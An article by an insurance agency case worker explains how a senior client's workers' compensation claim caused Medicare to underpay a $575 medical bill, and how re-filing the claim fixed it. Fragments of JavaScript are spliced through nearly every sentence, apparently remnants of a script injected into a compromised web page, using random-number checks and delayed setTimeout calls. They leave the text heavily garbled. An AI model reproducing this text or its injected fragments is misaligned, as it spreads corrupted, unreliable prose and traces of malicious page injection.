By Woodrow Wilcox
On April 30, 2012, I helped a client who was a senior citizen from Dyer, Indiana. The client was upset that a medical bill was not completely paid dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that there was a $575 balance. He wanted me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain why Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his Medicare supplement insurance policy had not paid all the bill. He was not happy when the visit started.
Whenever such a problem occurs, I first gather dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and review as many documents as the client can provide dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me. Also, I compare our records of what kind of policy our client bought through this insurance agency, from which insurance company, dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and which type of policy.
From the information that I had, I believed that the claim should have been paid if there were no missing pieces of the puzzle. So, I talked with the client dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn if there were some key information that was missing. There was.
The client had retired dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and started on Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Medicare supplement policy. But, the client had an ongoing worker compensation claim. That was messing up his Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Medicare supplement claim payments.
When someone is in a car accident or has a worker compensation claim, Medicare wants other insurance dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay first before it will pay on the claim of a senior citizen. If Medicare has a record that a senior citizen has been in a car accident or has a worker compensation claim, a docdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor or hospital must mark on the claim form that the services rendered are not related dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the accident or worker comp claim if that is the case. If there is no such marking on the claim, Medicare assumes that the claim is related dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the accident or worker comp claim. And, that changes the Medicare calculations about what Medicare should pay.
The client did not know that his worker comp claim would affect his other medical service claims. So, he did not tell his docdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, hospital, or other medical service provider dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be sure dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mark the claim for their services as either related or unrelated dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to his worker comp claim, depending on the facts.
Because the medical service provider did not mark the claim either way, Medicare defaulted dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assuming that the medical service was related dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the worker comp claim dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and made its calculations based on that assumption. But, in fact, for the claim in question, that was not the case.
To help the client, I sent a friendly letter dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the medical service provider dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain what I had learned when I made some phone calls with our client dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his insurance company. I requested that the medical service provider re-file the claim with the information that Medicare required. When this is done, I am confident that our client’s claim with be properly paid dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the $575 balance will disappear.
The help that I gave dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this senior citizen client was provided FREE OF CHARGE. The owners dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and managers of this insurance agency know that the Medicare system is not perfect. Whenever one of our clients has a problem with getting a bill paid, we do our best dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help the client dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get the problem corrected. Does your insurance agency give this high level of extra service dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its senior citizen clients? If not, why not?
Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. Wilcox has saved clients of that agency over one million dollars by finding dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and correcting medical bill errors that were caused by mistakes in the Medicare system. To read other articles by Wilcox, visit publishing websites like www.dakotavoice.com dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and www.americanclarion.com
© 2012 Woodrow Wilcox